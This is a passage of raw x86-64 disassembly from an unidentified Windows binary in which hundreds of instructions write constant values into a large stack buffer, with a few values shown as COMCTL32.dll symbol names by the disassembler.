mov word [rsp + 0x2078], ax
mov byte [rsp + 0x37a], 0x16
movabs rax, 0x7ec16e37d8e14e
mov qword [rsp + 0xf400], rax
mov byte [rsp + 0x37b], 0x6d
mov byte [rsp + 0x37c], 0xa7
mov byte [rsp + 0x37d], 0x5c
mov eax, 0x5ae
mov word [rsp + 0x207c], ax
mov eax, 0xf90
mov word [rsp + 0x2080], ax
movabs rax, 0x70be41b4aae58d
mov qword [rsp + 0xf408], rax
movabs rax, 0x7ba7385d4eedc3
mov qword [rsp + 0xf410], rax
mov dword [rsp + 0x7884], 0x2eca
movabs rax, 0x76bd4156c5e1d5
mov qword [rsp + 0xf418], rax
movabs rax, 0x7dc6bb5b9eefe9
mov qword [rsp + 0xf420], rax
mov eax, 0x765
mov word [rsp + 0x2084], ax
mov byte [rsp + 0x37e], 0x58
mov byte [rsp + 0x37f], 0x42
mov eax, 0x6a4
mov word [rsp + 0x2088], ax
movabs rax, 0x7c15a9319e3cbc
mov qword [rsp + 0xf428], rax
mov dword [rsp + 0x7888], 0x1187
mov byte [rsp + 0x380], 0x63
movabs rax, 0x79274d40a89ddb
mov qword [rsp + 0xf430], rax
mov byte [rsp + 0x381], 0x52
mov dword [rsp + 0x788c], 0x24b1
mov dword [rsp + 0x7890], 0xc988
mov dword [rsp + 0x7894], 0x2073
mov eax, 0x79b
mov word [rsp + 0x208c], ax
movabs rax, 0x7110a84a86a895
mov qword [rsp + 0xf438], rax
mov eax, 0xa05
mov word [rsp + 0x2090], ax
mov byte [rsp + 0x382], 0xd1
movabs rax, 0x71d31279da4a8a
mov qword [rsp + 0xf440], rax
movabs rax, 0x771d595f5a497a
mov qword [rsp + 0xf448], rax
mov eax, 0x4da
mov word [rsp + 0x2094], ax
mov eax, 0xb00
mov word [rsp + 0x2098], ax
mov eax, 0x90
mov word [rsp + 0x209c], ax
mov eax, 0x9ce
mov word [rsp + 0x20a0], ax
mov byte [rsp + 0x383], 0xbb
mov byte [rsp + 0x384], 0x44
movabs rax, 0x7ba0faa37fd7dd
mov qword [rsp + 0xf450], rax
mov byte [rsp + 0x385], 0x58
movabs rax, 0x7d0bda5cb0e4ad
mov qword [rsp + 0xf458], rax
movabs rax, 0x7a8227e5dbcc1f
mov qword [rsp + 0xf460], rax
mov eax, 0xb70
mov word [rsp + 0x20a4], ax
mov byte [rsp + 0x386], 0x76
movabs rax, 0x766c06ca852b81
mov qword [rsp + 0xf468], rax
mov byte [rsp + 0x387], 0x66
mov eax, 0x4bd
mov word [rsp + 0x20a8], ax
mov eax, 0x14b
mov word [rsp + 0x20ac], ax
movabs rax, 0x7a4367bec796f5
mov qword [rsp + 0xf470], rax
mov byte [rsp + 0x388], 0x41
mov eax, 0xaa5
mov word [rsp + 0x20b0], ax
mov byte [rsp + 0x389], 0xe8
mov eax, 0x1cd
mov word [rsp + 0x20b4], ax
movabs rax, 0x7981017f273fc3
mov qword [rsp + 0xf478], rax
mov byte [rsp + 0x38a], 0x97
mov byte [rsp + 0x38b], 0x66
mov dword [rsp + 0x7898], 0xeffb
mov eax, 0xf00
mov word [rsp + 0x20b8], ax
mov eax, 0x507
mov word [rsp + 0x20bc], ax
movabs rax, 0x765dbebbadd00d
mov qword [rsp + 0xf480], rax
mov dword [rsp + 0x789c], 0x7d39
mov dword [rsp + 0x78a0], 0x1ee7
mov eax, 0x7b3
mov word [rsp + 0x20c0], ax
mov dword [rsp + 0x78a4], 0x10c
mov byte [rsp + 0x38c], 0x14
mov byte [rsp + 0x38d], 0x12
mov eax, 0x79c
mov word [rsp + 0x20c4], ax
mov byte [rsp + 0x38e], 0xaa
movabs rax, 0x742b9d72be1fb0
mov qword [rsp + 0xf488], rax
mov dword [rsp + 0x78a8], 0x792a
mov eax, 0x97a
mov word [rsp + 0x20c8], ax
movabs rax, 0x7aa28c0170ffb6
mov qword [rsp + 0xf490], rax
mov byte [rsp + 0x38f], 0x95
mov eax, 0x461
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x78ac], 0xfe4f
mov byte [rsp + 0x390], 0xb7
mov byte [rsp + 0x391], DrawInsert
mov eax, 0x84
mov word [rsp + 0x20d0], ax
mov dword [rsp + 0x78b0], 0x379d
mov byte [rsp + 0x392], 0x3a
mov eax, 0x55b
mov word [rsp + 0x20d4], ax
mov dword [rsp + 0x78b4], 0x89c4
mov byte [rsp + 0x393], 0x51
mov eax, 0x9fa
mov word [rsp + 0x20d8], ax
mov eax, 0x2ca
mov word [rsp + 0x20dc], ax
mov dword [rsp + 0x78b8], 0x1717
mov dword [rsp + 0x78bc], 0xc99
movabs rax, 0x750eb2dbf32d7e
mov qword [rsp + 0xf498], rax
mov dword [rsp + 0x78c0], 0x7cc4
mov eax, 0x5f
mov word [rsp + 0x20e0], ax
mov eax, 0x339
mov word [rsp + 0x20e4], ax
mov dword [rsp + 0x78c4], 0x5c94
mov dword [rsp + 0x78c8], 0xefcd
mov byte [rsp + 0x394], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x395], 0x60
mov eax, 0xfe7
mov word [rsp + 0x20e8], ax
mov byte [rsp + 0x396], 9
mov dword [rsp + 0x78cc], 0x609b
mov dword [rsp + 0x78d0], 0x5727
mov eax, 0x351
mov word [rsp + 0x20ec], ax
movabs rax, 0x796a4614e5676f
mov qword [rsp + 0xf4a0], rax
movabs rax, 0x706c89b0d437fc
mov qword [rsp + 0xf4a8], rax
mov dword [rsp + 0x78d4], 0x5a86
mov byte [rsp + 0x397], 0x4f
mov byte [rsp + 0x398], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0x506
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x78d8], 0x919e
mov eax, 0x25b
mov word [rsp + 0x20f4], ax
movabs rax, 0x7700feb64223ff
mov qword [rsp + 0xf4b0], rax
mov eax, 0x330
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x78dc], 0x28a8
movabs rax, 0x7484ab571aaa72
mov qword [rsp + 0xf4b8], rax
mov byte [rsp + 0x399], 0x69
mov eax, 0x636
mov word [rsp + 0x20fc], ax
movabs rax, 0x798fe4d0ff045b
mov qword [rsp + 0xf4c0], rax
mov eax, 0x89f
mov word [rsp + 0x2100], ax
mov dword [rsp + 0x78e0], 0x4d12
mov byte [rsp + 0x39a], 0x66
movabs rax, 0x71dd9f79b841ed
mov qword [rsp + 0xf4c8], rax
mov eax, 0xbbe
mov word [rsp + 0x2104], ax
movabs rax, 0x72c47cd21b7a21
mov qword [rsp + 0xf4d0], rax
mov dword [rsp + 0x78e4], 0x7bc6
mov eax, 0x223
mov word [rsp + 0x2108], ax
mov dword [rsp + 0x78e8], 0x58ba
mov dword [rsp + 0x78ec], 0x1a12
movabs rax, 0x79bdcb2958431c
mov qword [rsp + 0xf4d8], rax
movabs rax, 0x7d765cfe5881b9
mov qword [rsp + 0xf4e0], rax
mov byte [rsp + 0x39b], 0xc7
mov byte [rsp + 0x39c], 0xa3
mov dword [rsp + 0x78f0], 0x4323
mov dword [rsp + 0x78f4], 0x1564
mov dword [rsp + 0x78f8], 0x1c56
mov dword [rsp + 0x78fc], 0xb982
mov eax, 0x5ef
mov word [rsp + 0x210c], ax
mov byte [rsp + 0x39d], 0x4e
movabs rax, 0x75c4b2f8ae7c25
mov qword [rsp + 0xf4e8], rax
movabs rax, 0x71f465bf902adf
mov qword [rsp + 0xf4f0], rax
mov eax, 0xca0
mov word [rsp + 0x2110], ax
mov dword [rsp + 0x7900], 0x1dd7
mov byte [rsp + 0x39e], 0x2e
mov eax, 0xbb9
mov word [rsp + 0x2114], ax
movabs rax, 0x76c33f003bed81
mov qword [rsp + 0xf4f8], rax
mov byte [rsp + 0x39f], 0xe8
mov dword [rsp + 0x7904], 0x2fa1
mov dword [rsp + 0x7908], 0x8ab6
mov dword [rsp + 0x790c], 0x5c34
mov dword [rsp + 0x7910], 0x538d
mov eax, 0x6c7
mov word [rsp + 0x2118], ax
mov byte [rsp + 0x3a0], 0x78
movabs rax, 0x7bcaea924e7e72
mov qword [rsp + 0xf500], rax
movabs rax, 0x7d9f86bfcd0c4b
mov qword [rsp + 0xf508], rax
mov byte [rsp + 0x3a1], 0x65
movabs rax, 0x724fe09df5afbb
mov qword [rsp + 0xf510], rax
mov byte [rsp + 0x3a2], 0xbc
movabs rax, 0x701bc1cdc0c1cb
mov qword [rsp + 0xf518], rax
mov byte [rsp + 0x3a3], 0x29
movabs rax, 0x72597e3277ee26
mov qword [rsp + 0xf520], rax
mov eax, 0x5b8
mov word [rsp + 0x211c], ax
mov dword [rsp + 0x7914], 0x270f
mov dword [rsp + 0x7918], 0x2b03
movabs rax, 0x7d4b3e312500cc
mov qword [rsp + 0xf528], rax
mov dword [rsp + 0x791c], 0x2adc
mov dword [rsp + 0x7920], 0x2f35
mov byte [rsp + 0x3a4], 0x5d
movabs rax, 0x7e0b8fa8a03774
mov qword [rsp + 0xf530], rax
mov eax, 0x6fb
mov word [rsp + 0x2120], ax
mov dword [rsp + 0x7924], 0xcb40
movabs rax, 0x7a25167706a0dd
mov qword [rsp + 0xf538], rax
movabs rax, 0x782d2a8fd5f3eb
mov qword [rsp + 0xf540], rax
movabs rax, 0x716c93f2cce931
mov qword [rsp + 0xf548], rax
mov eax, 0x1d1
mov word [rsp + 0x2124], ax
mov byte [rsp + 0x3a5], 0x10
movabs rax, 0x75d83b6607c8b8
mov qword [rsp + 0xf550], rax
mov eax, 0x745
mov word [rsp + 0x2128], ax
mov byte [rsp + 0x3a6], 0x7e
mov byte [rsp + 0x3a7], 0x4c
mov eax, 0x913
mov word [rsp + 0x212c], ax
mov byte [rsp + 0x3a8], 0x88
mov eax, 0x6a0
mov word [rsp + 0x2130], ax
mov dword [rsp + 0x7928], 0x2916
mov eax, 0xc5
mov word [rsp + 0x2134], ax
mov eax, 0xa76
mov word [rsp + 0x2138], ax
movabs rax, 0x7c9f78448d3ee0
mov qword [rsp + 0xf558], rax
movabs rax, 0x77e70e2a089cc9
mov qword [rsp + 0xf560], rax
mov dword [rsp + 0x792c], 0x5399
mov byte [rsp + 0x3a9], 0x15
movabs rax, 0x7d215ae2b27615
mov qword [rsp + 0xf568], rax
mov eax, 0x3fe
mov word [rsp + 0x213c], ax
mov dword [rsp + 0x7930], 0x1e75
mov eax, 0x5a6
mov word [rsp + 0x2140], ax
mov dword [rsp + 0x7934], 0x721b
mov byte [rsp + 0x3aa], 0x56
mov dword [rsp + 0x7938], 0x94dc
movabs rax, 0x79dae169ef0a67
mov qword [rsp + 0xf570], rax
mov eax, 0x886
mov word [rsp + 0x2144], ax
mov byte [rsp + 0x3ab], 8
mov dword [rsp + 0x793c], 0x55cf
mov byte [rsp + 0x3ac], 0x10
mov eax, 0xd73
mov word [rsp + 0x2148], ax
movabs rax, 0x7d8c4d4d098609
mov qword [rsp + 0xf578], rax
movabs rax, 0x7e930bcb3acbed
mov qword [rsp + 0xf580], rax
mov byte [rsp + 0x3ad], 0x2e
mov byte [rsp + 0x3ae], 0xfb
mov dword [rsp + 0x7940], 0x7df
movabs rax, 0x78df4433f7210d
mov qword [rsp + 0xf588], rax
mov eax, 0x7fb
mov word [rsp + 0x214c], ax
mov byte [rsp + 0x3af], 0xce
mov eax, 0x4d3
mov word [rsp + 0x2150], ax
mov byte [rsp + 0x3b0], 0x85
mov byte [rsp + 0x3b1], 0x1f
movabs rax, 0x7b86fcbe5f3735
mov qword [rsp + 0xf590], rax
mov eax, 0x6f9
mov word [rsp + 0x2154], ax
mov byte [rsp + 0x3b2], 0x36
mov byte [rsp + 0x3b3], 0x10
movabs rax, 0x70f4bf1846937b
mov qword [rsp + 0xf598], rax
mov byte [rsp + 0x3b4], 0x28
mov dword [rsp + 0x7944], 0x149b
movabs rax, 0x7ebdeca290ee99
mov qword [rsp + 0xf5a0], rax
mov dword [rsp + 0x7948], 0x332b
mov byte [rsp + 0x3b5], 0xd2
movabs rax, 0x79cd6f4635db25
mov qword [rsp + 0xf5a8], rax
mov eax, 0x5d4
mov word [rsp + 0x2158], ax
movabs rax, 0x7ec14960f94849
mov qword [rsp + 0xf5b0], rax
movabs rax, 0x78e9bd62c431fe
mov qword [rsp + 0xf5b8], rax
movabs rax, 0x753cdfd80be413
mov qword [rsp + 0xf5c0], rax
mov byte [rsp + 0x3b6], 0x75
mov dword [rsp + 0x794c], 0x8039
mov eax, 0x3c4
mov word [rsp + 0x215c], ax
movabs rax, 0x776752f06f0644
mov qword [rsp + 0xf5c8], rax
mov byte [rsp + 0x3b7], 0x7c
mov eax, 0x552
mov word [rsp + 0x2160], ax
movabs rax, 0x7c58ca82e983cd
mov qword [rsp + 0xf5d0], rax
mov byte [rsp + 0x3b8], 0xbd
movabs rax, 0x7bafbb189baaaf
mov qword [rsp + 0xf5d8], rax
mov byte [rsp + 0x3b9], 0x71
movabs rax, 0x7c7109337c0ee0
mov qword [rsp + 0xf5e0], rax
mov dword [rsp + 0x7950], 0x66d5
mov eax, 0x26d
mov word [rsp + 0x2164], ax
mov eax, 0x9c8
mov word [rsp + 0x2168], ax
mov eax, 0xc61
mov word [rsp + 0x216c], ax
mov dword [rsp + 0x7954], 0x5494
mov eax, 0x2b2
mov word [rsp + 0x2170], ax
mov eax, 0x15e
mov word [rsp + 0x2174], ax
mov byte [rsp + 0x3ba], 0x75
mov eax, 0x42e
mov word [rsp + 0x2178], ax
movabs rax, 0x7b3afcb27f0f79
mov qword [rsp + 0xf5e8], rax
mov eax, 0x21d
mov word [rsp + 0x217c], ax
mov dword [rsp + 0x7958], 0xfa42
mov dword [rsp + 0x795c], 0x27c2
mov dword [rsp + 0x7960], 0x9b93
mov eax, 0x56f
mov word [rsp + 0x2180], ax
mov eax, 0x11a
mov word [rsp + 0x2184], ax
mov dword [rsp + 0x7964], 0xbc38
movabs rax, 0x7c8518101de2d0
mov qword [rsp + 0xf5f0], rax
mov dword [rsp + 0x7968], 0x6405
mov byte [rsp + 0x3bb], 0x4d
movabs rax, 0x75a09eee72de78
mov qword [rsp + 0xf5f8], rax
mov eax, 0x1b9
mov word [rsp + 0x2188], ax
mov byte [rsp + 0x3bc], 0xa
mov dword [rsp + 0x796c], 0x579a
mov dword [rsp + 0x7970], 0x7127
mov dword [rsp + 0x7974], 0xb92d
mov eax, reloc.COMCTL32.dll_RemoveWindowSubclass
mov word [rsp + 0x218c], ax
mov dword [rsp + 0x7978], 0x7c00
movabs rax, 0x7426b47589649c
mov qword [rsp + 0xf600], rax
mov eax, 0x3b1
mov word [rsp + 0x2190], ax
mov byte [rsp + 0x3bd], 0x5b
movabs rax, 0x7ba0ab7f6268e0
mov qword [rsp + 0xf608], rax
mov byte [rsp + 0x3be], 0x9c
mov byte [rsp + 0x3bf], 0
mov eax, 0xa38
mov word [rsp + 0x2194], ax
mov eax, 0x154
mov word [rsp + 0x2198], ax
movabs rax, 0x74721722c47e58
mov qword [rsp + 0xf610], rax
movabs rax, 0x709681cb421cb8
mov qword [rsp + 0xf618], rax
mov dword [rsp + 0x797c], 0x6b5e
movabs rax, 0x7d86b6290abd27
mov qword [rsp + 0xf620], rax
mov dword [rsp + 0x7980], 0xc938
mov eax, 0x438
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x7984], 0xbf21
mov byte [rsp + 0x3c0], 0xaa
mov eax, 0x7cf
mov word [rsp + 0x21a0], ax
mov eax, 0xf59
mov word [rsp + 0x21a4], ax
mov eax, 0x59b
mov word [rsp + 0x21a8], ax
mov eax, 0x251
mov word [rsp + 0x21ac], ax
movabs rax, 0x7e66c543a32217
mov qword [rsp + 0xf628], rax
mov eax, 0x557
mov word [rsp + 0x21b0], ax
mov dword [rsp + 0x7988], 0x52de
mov byte [rsp + 0x3c1], 0x29
movabs rax, 0x7c37c72585a028
mov qword [rsp + 0xf630], rax
mov eax, 0x91
mov word [rsp + 0x21b4], ax
mov eax, 0xfb4
mov word [rsp + 0x21b8], ax
movabs rax, 0x7c6a251783637a
mov qword [rsp + 0xf638], rax
mov eax, 0x34a
mov word [rsp + 0x21bc], ax
movabs rax, 0x795b3bd626bf0e
mov qword [rsp + 0xf640], rax
mov dword [rsp + 0x798c], 0x3b2c
mov byte [rsp + 0x3c2], 0x49
mov eax, 0x91
mov word [rsp + 0x21c0], ax
mov dword [rsp + 0x7990], 0x4cc1
mov byte [rsp + 0x3c3], 0x14
mov eax, 0x712
mov word [rsp + 0x21c4], ax
movabs rax, 0x72af9dea27e8d0
mov qword [rsp + 0xf648], rax
mov byte [rsp + 0x3c4], 0x8e
movabs rax, 0x7091da7daba787
mov qword [rsp + 0xf650], rax
mov byte [rsp + 0x3c5], 0xfd
mov dword [rsp + 0x7994], 0xcab8
movabs rax, 0x71061776a35d98
mov qword [rsp + 0xf658], rax
movabs rax, 0x701209e6cf6206
mov qword [rsp + 0xf660], rax
mov dword [rsp + 0x7998], 0x1ff5
movabs rax, 0x756fbd18f2b46b
mov qword [rsp + 0xf668], rax
mov eax, 0x17c
mov word [rsp + 0x21c8], ax
mov dword [rsp + 0x799c], 0x3f00
mov eax, 0x33c
mov word [rsp + 0x21cc], ax
mov eax, 0x20d
mov word [rsp + 0x21d0], ax
movabs rax, 0x743de3165d5423
mov qword [rsp + 0xf670], rax
mov dword [rsp + 0x79a0], 0x3e73
mov dword [rsp + 0x79a4], 0x4e25
mov eax, 0x715
mov word [rsp + 0x21d4], ax
mov byte [rsp + 0x3c6], 0x3d
movabs rax, 0x7d91123f59cb1d
mov qword [rsp + 0xf678], rax
mov dword [rsp + 0x79a8], 0x1909
mov byte [rsp + 0x3c7], 0x4e
movabs rax, 0x76f9b8f8e7faa4
mov qword [rsp + 0xf680], rax
mov dword [rsp + 0x79ac], 0xa625
mov byte [rsp + 0x3c8], 0x34
mov dword [rsp + 0x79b0], 0x620c
mov eax, 0x27c
mov word [rsp + 0x21d8], ax
mov eax, 0x954
mov word [rsp + 0x21dc], ax
mov dword [rsp + 0x79b4], 0x5f58
mov dword [rsp + 0x79b8], 0x9718
mov eax, 0x2da
mov word [rsp + 0x21e0], ax
mov eax, 0x422
mov word [rsp + 0x21e4], ax
mov byte [rsp + 0x3c9], 0x5a
mov eax, 0x143
mov word [rsp + 0x21e8], ax
mov dword [rsp + 0x79bc], 0x3c0c
mov eax, 0x61f
mov word [rsp + 0x21ec], ax
mov eax, 0x17b
mov word [rsp + 0x21f0], ax
movabs rax, 0x741bae9a6ff27e
mov qword [rsp + 0xf688], rax
mov dword [rsp + 0x79c0], 0x4f90
mov dword [rsp + 0x79c4], 0x5f17
movabs rax, 0x72def57fa452f6
mov qword [rsp + 0xf690], rax
mov dword [rsp + 0x79c8], 0x134d
mov eax, 0x1d6
mov word [rsp + 0x21f4], ax
movabs rax, 0x7773f60a49fd3f
mov qword [rsp + 0xf698], rax
mov byte [rsp + 0x3ca], 0x7e
mov dword [rsp + 0x79cc], 0x38d2
movabs rax, 0x7d8322a5319d8a
mov qword [rsp + 0xf6a0], rax
mov byte [rsp + 0x3cb], 0x59
movabs rax, 0x792ffceba7afbc
mov qword [rsp + 0xf6a8], rax
mov eax, 0x74a
mov word [rsp + 0x21f8], ax
movabs rax, 0x7ba79cbc3b82ec
mov qword [rsp + 0xf6b0], rax
mov eax, 0x2e4
mov word [rsp + 0x21fc], ax
movabs rax, 0x753b632f544612
mov qword [rsp + 0xf6b8], rax
mov eax, 0xca6
mov word [rsp + 0x2200], ax
mov byte [rsp + 0x3cc], 0xc1
mov byte [rsp + 0x3cd], 0xf1
mov eax, 0xf8b
mov word [rsp + 0x2204], ax
mov dword [rsp + 0x79d0], 0x2401
movabs rax, 0x70c90b1fff826e
mov qword [rsp + 0xf6c0], rax
mov byte [rsp + 0x3ce], 0xb4
mov eax, 0x25b
mov word [rsp + 0x2208], ax
mov byte [rsp + 0x3cf], 0x38
mov eax, 0xb1a
mov word [rsp + 0x220c], ax
movabs rax, 0x7980e79e8eb843
mov qword [rsp + 0xf6c8], rax
mov dword [rsp + 0x79d4], 0x8034
movabs rax, 0x72be13288a9fe8
mov qword [rsp + 0xf6d0], rax
movabs rax, 0x7a0a8daa16bf74
mov qword [rsp + 0xf6d8], rax
mov eax, 0x164
mov word [rsp + 0x2210], ax
mov eax, 0x4ca
mov word [rsp + 0x2214], ax
mov dword [rsp + 0x79d8], 0x671e
mov dword [rsp + 0x79dc], 0x64f
mov byte [rsp + 0x3d0], 0x54
mov byte [rsp + 0x3d1], 0x5a
mov byte [rsp + 0x3d2], 0xfd
movabs rax, 0x71e579192e0fb6
mov qword [rsp + 0xf6e0], rax
mov eax, 0xf05
mov word [rsp + 0x2218], ax
mov dword [rsp + 0x79e0], 0x7825
movabs rax, 0x758a13e5f29f94
mov qword [rsp + 0xf6e8], rax
mov eax, 0x599
mov word [rsp + 0x221c], ax
movabs rax, 0x7d269b109ac9db
mov qword [rsp + 0xf6f0], rax
movabs rax, 0x7c88b28d5f6f2d
mov qword [rsp + 0xf6f8], rax
mov dword [rsp + 0x79e4], 0x2f62
mov eax, 0x5b0
mov word [rsp + 0x2220], ax
movabs rax, 0x734a97e3c843d3
mov qword [rsp + 0xf700], rax
mov byte [rsp + 0x3d3], reloc.COMCTL32.dll_DrawInsert
mov eax, 0xb75
mov word [rsp + 0x2224], ax
movabs rax, 0x72866eff927070
mov qword [rsp + 0xf708], rax
mov dword [rsp + 0x79e8], 0x4881
movabs rax, 0x7673fcab7ba86d
mov qword [rsp + 0xf710], rax
mov byte [rsp + 0x3d4], 0x1d
movabs rax, 0x7cdc165d42fc95
mov qword [rsp + 0xf718], rax
mov dword [rsp + 0x79ec], 0xf88
movabs rax, 0x7df9b2fe86c815
mov qword [rsp + 0xf720], rax
mov byte [rsp + 0x3d5], 0xb8
mov dword [rsp + 0x79f0], 0x5295
mov dword [rsp + 0x79f4], 0x79fb
mov eax, 0x32
mov word [rsp + 0x2228], ax
mov dword [rsp + 0x79f8], 0x87b9
mov byte [rsp + 0x3d6], 0x4d
mov dword [rsp + 0x79fc], 0xc3e6
mov eax, 0x5a7
mov word [rsp + 0x222c], ax
mov dword [rsp + 0x7a00], 0x68ea
movabs rax, 0x77c896c6ee7b58
mov qword [rsp + 0xf728], rax
mov byte [rsp + 0x3d7], 3
mov dword [rsp + 0x7a04], 0xaf5b
mov byte [rsp + 0x3d8], 0x1f
movabs rax, 0x7ebc7fc825d430
mov qword [rsp + 0xf730], rax
movabs rax, 0x7c7bb3c3c4fb94
mov qword [rsp + 0xf738], rax
movabs rax, 0x75772620f1db14
mov qword [rsp + 0xf740], rax
movabs rax, 0x7deee674c1c47d
mov qword [rsp + 0xf748], rax
movabs rax, 0x7ebf664720a32c
mov qword [rsp + 0xf750], rax
mov byte [rsp + 0x3d9], 0xc1
mov eax, 0xddc
mov word [rsp + 0x2230], ax
mov eax, 0x7c5
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x7a08], 0x647c
mov dword [rsp + 0x7a0c], 0x119c
mov byte [rsp + 0x3da], 0xf5
movabs rax, 0x722e061fec9dc7
mov qword [rsp + 0xf758], rax
mov byte [rsp + 0x3db], 0x16
mov eax, 0x71d
mov word [rsp + 0x2238], ax
mov eax, 0x208
mov word [rsp + 0x223c], ax
movabs rax, 0x7487bd47559542
mov qword [rsp + 0xf760], rax
movabs rax, 0x7e96be11ba7485
mov qword [rsp + 0xf768], rax
mov dword [rsp + 0x7a10], 0x5c25
movabs rax, 0x78bf80bd3f4b73
mov qword [rsp + 0xf770], rax
mov byte [rsp + 0x3dc], 0x2d
movabs rax, 0x75f705061492a1
mov qword [rsp + 0xf778], rax
movabs rax, 0x70e9aaa7e9b13a
mov qword [rsp + 0xf780], rax
movabs rax, 0x7af58c8f413229
mov qword [rsp + 0xf788], rax
movabs rax, 0x74674860928452
mov qword [rsp + 0xf790], rax
mov byte [rsp + 0x3dd], 0xa3
movabs rax, 0x7a7d81f57e55dc
mov qword [rsp + 0xf798], rax
movabs rax, 0x7861a01fea8d9a
mov qword [rsp + 0xf7a0], rax
mov eax, 0x681
mov word [rsp + 0x2240], ax
mov byte [rsp + 0x3de], 0x27
movabs rax, 0x7b50afd4fffbba
mov qword [rsp + 0xf7a8], rax
mov eax, 0x219
mov word [rsp + 0x2244], ax
mov dword [rsp + 0x7a14], 0xcb9a
mov eax, 0xa04
mov word [rsp + 0x2248], ax
movabs rax, 0x7adec8d2b6c05b
mov qword [rsp + 0xf7b0], rax
movabs rax, 0x7e4845dc2818b4
mov qword [rsp + 0xf7b8], rax
movabs rax, 0x7da4e3d22e8b5f
mov qword [rsp + 0xf7c0], rax
mov dword [rsp + 0x7a18], 0x11ba
mov eax, 0x14b
mov word [rsp + 0x224c], ax
mov eax, 0x270
mov word [rsp + 0x2250], ax
mov byte [rsp + 0x3df], 0x1e
mov byte [rsp + 0x3e0], 0
mov dword [rsp + 0x7a1c], 0x5da0
movabs rax, 0x76a0b642f5f2f0
mov qword [rsp + 0xf7c8], rax
mov byte [rsp + 0x3e1], 0x4e
mov dword [rsp + 0x7a20], 0x206e
movabs rax, 0x754c3f19ed5111
mov qword [rsp + 0xf7d0], rax
movabs rax, 0x75ae10412a8b8c
mov qword [rsp + 0xf7d8], rax
mov eax, 0x59
mov word [rsp + 0x2254], ax
mov eax, 0x9fd
mov word [rsp + 0x2258], ax
movabs rax, 0x737b3dd9b9621a
mov qword [rsp + 0xf7e0], rax
mov byte [rsp + 0x3e2], 3
mov eax, 0xa
mov word [rsp + 0x225c], ax
mov eax, 0x7de
mov word [rsp + 0x2260], ax
movabs rax, 0x7e10f3443afc53
mov qword [rsp + 0xf7e8], rax
mov byte [rsp + 0x3e3], 0xd0
movabs rax, 0x77b648fb049ed6
mov qword [rsp + 0xf7f0], rax
mov dword [rsp + 0x7a24], 0x62b6
mov byte [rsp + 0x3e4], 0x76
mov byte [rsp + 0x3e5], 0x3e
mov eax, 0x2fd
mov word [rsp + 0x2264], ax
movabs rax, 0x70377ae821d91d
mov qword [rsp + 0xf7f8], rax
mov dword [rsp + 0x7a28], 0xed3b
mov eax, 0xf24
mov word [rsp + 0x2268], ax
movabs rax, 0x77627ff9bff6d6
mov qword [rsp + 0xf800], rax
movabs rax, 0x7d7d04492c5ec8
mov qword [rsp + 0xf808], rax
mov byte [rsp + 0x3e6], 0
mov eax, 0x38f
mov word [rsp + 0x226c], ax
mov dword [rsp + 0x7a2c], 0xb8ca
mov dword [rsp + 0x7a30], 0x6ab4
mov eax, 0x379
mov word [rsp + 0x2270], ax
movabs rax, 0x7b6f1000748224
mov qword [rsp + 0xf810], rax
mov byte [rsp + 0x3e7], 0xef
mov dword [rsp + 0x7a34], 0xd978
movabs rax, 0x7e2e02903d7576
mov qword [rsp + 0xf818], rax
mov eax, 0x495
mov word [rsp + 0x2274], ax
mov byte [rsp + 0x3e8], 0x18
movabs rax, 0x7abafc9bff6e19
mov qword [rsp + 0xf820], rax
movabs rax, 0x7ab29024e8f637
mov qword [rsp + 0xf828], rax
mov dword [rsp + 0x7a38], 0x7e62
mov eax, 0x5fb
mov word [rsp + 0x2278], ax
movabs rax, 0x73d0d035fc757b
mov qword [rsp + 0xf830], rax
mov dword [rsp + 0x7a3c], 0x53e
mov dword [rsp + 0x7a40], 0x561e
movabs rax, 0x7b1e10326db89a
mov qword [rsp + 0xf838], rax
mov eax, 0x6b
mov word [rsp + 0x227c], ax
movabs rax, 0x795a57a43438a0
mov qword [rsp + 0xf840], rax
mov byte [rsp + 0x3e9], 0xd6
mov eax, 0xc5b
mov word [rsp + 0x2280], ax
movabs rax, 0x760ecf9b79a666
mov qword [rsp + 0xf848], rax
mov eax, 0x97
mov word [rsp + 0x2284], ax
mov eax, 0x693
mov word [rsp + 0x2288], ax
movabs rax, 0x7a23ec1ccfc707
mov qword [rsp + 0xf850], rax
movabs rax, 0x730dae5b7a63e6
mov qword [rsp + 0xf858], rax
mov eax, 0x172
mov word [rsp + 0x228c], ax
mov eax, 0xddd
mov word [rsp + 0x2290], ax
mov dword [rsp + 0x7a44], 0x1802
mov eax, 0x4bc
mov word [rsp + 0x2294], ax
mov eax, 0x37f
mov word [rsp + 0x2298], ax
movabs rax, 0x7def5b6d96ee54
mov qword [rsp + 0xf860], rax
movabs rax, 0x7b8b1eb04ae42d
mov qword [rsp + 0xf868], rax
movabs rax, 0x71522712740000
mov qword [rsp + 0xf870], rax
movabs rax, 0x7c0305772339a1
mov qword [rsp + 0xf878], rax
mov dword [rsp + 0x7a48], 0x4d09
mov eax, 0xc55
mov word [rsp + 0x229c], ax
mov eax, 0x5b0
mov word [rsp + 0x22a0], ax
movabs rax, 0x7cfe09c9a177d6
mov qword [rsp + 0xf880], rax
mov dword [rsp + 0x7a4c], 0x48ee
mov byte [rsp + 0x3ea], 0x38
mov dword [rsp + 0x7a50], 0x638
movabs rax, 0x731b0c1b46108b
mov qword [rsp + 0xf888], rax
mov dword [rsp + 0x7a54], 0x51d5
mov eax, 0x6f1
mov word [rsp + 0x22a4], ax
mov byte [rsp + 0x3eb], 0x4c
mov dword [rsp + 0x7a58], 0xfdff
movabs rax, 0x7c79550a10d600
mov qword [rsp + 0xf890], rax
movabs rax, 0x74fc9a9e3be81c
mov qword [rsp + 0xf898], rax
movabs rax, 0x72b52ce0201cc3
mov qword [rsp + 0xf8a0], rax
movabs rax, 0x71ec8a45682a69
mov qword [rsp + 0xf8a8], rax
mov dword [rsp + 0x7a5c], 0x460
mov eax, 0x175
mov word [rsp + 0x22a8], ax
mov byte [rsp + 0x3ec], 0x4d
mov eax, 0xb28
mov word [rsp + 0x22ac], ax
mov byte [rsp + 0x3ed], 0xcd
movabs rax, 0x716a4b469ff5dc
mov qword [rsp + 0xf8b0], rax
mov byte [rsp + 0x3ee], 0x74
mov eax, 0x297
mov word [rsp + 0x22b0], ax
mov eax, 0x613
